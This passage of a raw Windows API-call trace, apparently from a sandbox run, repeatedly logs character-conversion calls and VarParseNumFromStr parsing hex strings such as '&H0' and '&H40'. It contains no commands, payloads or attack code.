[0191.035] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.036] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.036] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.036] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.037] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.037] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.037] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.037] VarParseNumFromStr (in: strIn="&H40", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.037] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.038] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="@") returned 1 [0191.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@", lpUsedDefaultChar=0x0) returned 1 [0191.038] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.038] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.038] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.039] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.039] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.040] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.040] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.040] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.041] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.041] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.041] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.041] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.041] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.042] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.042] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.042] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.043] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.043] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.043] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.043] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.044] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.044] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.044] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.045] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.045] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.045] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.046] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.046] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.046] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.049] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.049] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.049] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.050] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.050] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.050] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.051] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.051] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.051] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.051] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.052] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.052] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.053] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.053] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.054] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.054] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) 